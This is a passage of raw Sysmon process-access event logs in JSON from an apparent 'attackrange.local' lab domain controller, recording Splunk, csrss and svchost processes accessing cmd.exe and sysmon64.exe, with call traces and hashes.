AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 